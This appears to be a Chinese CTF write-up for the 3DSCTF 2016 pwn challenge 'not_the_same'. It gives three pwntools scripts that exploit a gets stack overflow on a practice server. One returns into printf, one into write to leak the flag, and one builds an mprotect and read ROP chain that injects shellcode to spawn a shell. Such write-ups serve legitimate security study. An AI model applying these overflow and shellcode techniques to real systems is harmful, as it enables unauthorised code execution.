not_the_same_3dsctf_2016
题目解法很多,大概是理解了,大家可以指出错误
看下程序


一个mian,一个get_secret。
1.利用printf函数
每一个程序内的函数都可以化为己用。这里的思路就是利用主函数的gets函数完成栈溢出,返回到get_secret函数,然后再利用printf函数把fl4g打印出来
点击查看代码
from pwn import *
io=remote("node4.buuoj.cn",29821)
elf=ELF("./not_the_same_3dsctf_2016")
lou_addr=0x080489A0
flag_addr=0x80ECA2D
printf_addr=elf.sym["printf"]
ex_addr=elf.sym["exit"]
payload=0x2D*'a'+p32(lou_addr)+p32(printf_addr)+p32(ex_addr)+p32(flag_addr)
io.sendline(payload)
io.interactive()
自调用的函数要给一个函数的返回地址,这里有一个很重要的点,printf函数要给它合理的退出程序的地址如:exit。还有这里没有push ebp不要填充0x4.
2.write
点击查看代码
rom pwn import *
p=remote('node4.buuoj.cn','29821')
backdoor_addr=0x80489a0
write_addr = 0x0806E270
fl4g=0x080ECA2D
payload = 'a'* 0x2d
payload += p32(backdoor_addr) #gets栈溢出ret到get_secret
payload += p32(write_addr) #执行完get_secret后的返回地址
payload += p32(0) #执行完write后的返回地址,这里不用考虑函数的异常中止
payload += p32(1) #write的第一个参数,一般都是1
payload += p32(fl4g) #write的第二个参数,打印内容开始的地址
payload += p32(45) #write的第三个参数,打印内容的长度,45是fgets时v0传进fl4g内容的长度
p.sendline(payload)
p.interactive()
3.mprotect
这是第二次碰见这个函数,作用就是开个空间,创造可读可写可执行的空间,使其可以用shellcraft创建shellcode,进而完成攻击
点击查看代码
from pwn import*
context.log_level = 'debug'
context(arch='i386', os='linux')
proc_name = './not_the_same_3dsctf_2016'
elf = ELF(proc_name)
sh = remote('node4.buuoj.cn', 29821)
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
pop3_edi_esi_ebx_ret = 0x0806fcc8
mem_addr = 0x080EB000 #.got.plt 的起始地址
mem_size = 0x1000
mem_type = 0x7 # 可执行权限
payload = 0x2D * 'a'
payload += p32(mprotect_addr)
payload += p32(pop3_edi_esi_ebx_ret)
payload += p32(mem_addr) + p32(mem_size) + p32(mem_type)
payload += p32(read_addr)
payload += p32(pop3_edi_esi_ebx_ret)
payload += p32(0) + p32(mem_addr) + p32(0x100)
payload += p32(mem_addr) #将read函数的返回地址设置到我们修改的内存的地址,之后我们要往里面写入shellcode
sh.sendline(payload)
# read写入shellcode
payload = asm(shellcraft.sh())
sh.sendline(payload)
sh.interactive()

浙公网安备 33010602011771号